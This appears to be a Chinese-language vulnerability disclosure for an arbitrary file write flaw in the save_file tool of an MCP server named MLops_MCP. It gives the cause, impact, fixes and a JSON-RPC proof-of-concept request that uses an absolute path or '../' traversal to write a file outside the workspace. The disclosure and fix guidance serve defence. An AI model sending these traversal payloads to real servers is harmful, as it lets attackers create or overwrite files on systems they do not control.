# MLops_MCP 任意文件写入漏洞总结 ## 漏洞概述 **漏洞名称**:MLops_MCP Arbitrary File Write via save_file Destination Escape Vulnerability **漏洞编号**:CVE ID Request **报告日期**:2026年4月10日 **漏洞类型**:CWE-73 (外部控制文件名或路径) **严重程度**:CVSS v3.1 基础评分 8.1 (High) **核心问题**:`save_file` MCP工具本意是将上传内容保存到服务器当前工作目录下的目标文件夹,但它计算 `dest_path` 时直接使用 `os.path.join(os.getcwd(), destination)` 并信任结果。绝对路径会覆盖 `os.getcwd()`,相对路径中的遍历序列也会被绕过。随后调用 `open(file_path, ...)` 写入任意文件到项目工作空间之外。 ## 影响范围 - **受影响版本**:1.0.0 - **受影响组件**:`fastmcp_server.py` - **影响范围**: - **机密性**:未直接确认 - **完整性**:高,因为可以在工作空间外创建或覆盖任意可写文件 - **可用性**:中,攻击者可能覆盖操作文件或填满存储 - **作用域**:未改变 ## 修复方案 1. 解析目标路径并验证其在调用 `os.makedirs()` 或 `open()` 之前是否保持在专用工作空间目录内 2. 独立规范化 `filename` 并拒绝父引用或路径分隔符 3. 为绝对路径、`..`、Windows 驱动字母和符号链接添加回归测试 4. 使实现与 README 中显示的面向工作空间的存储模型保持一致 ## POC 代码 ```json { "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "save_file", "arguments": { "filename": "owned.txt", "content": "owned outside workspace", "destination": "/tmp/mlops_mcp_poc" } } } ``` **利用说明**: - `os.path.join(os.getcwd(), "/tmp/mlops_mcp_poc")` 评估为 `/tmp/mlops_mcp_poc` - 服务器创建 `/tmp/mlops_mcp_poc` - 写入 `/tmp/mlops_mcp_poc/owned.txt` - 预期结果:`/tmp/mlops_mcp_poc/owned.txt` 在工作空间外创建 - 相同绕过也适用于相对遍历,如 `destination=../../../../../tmp/mlops_mcp_poc`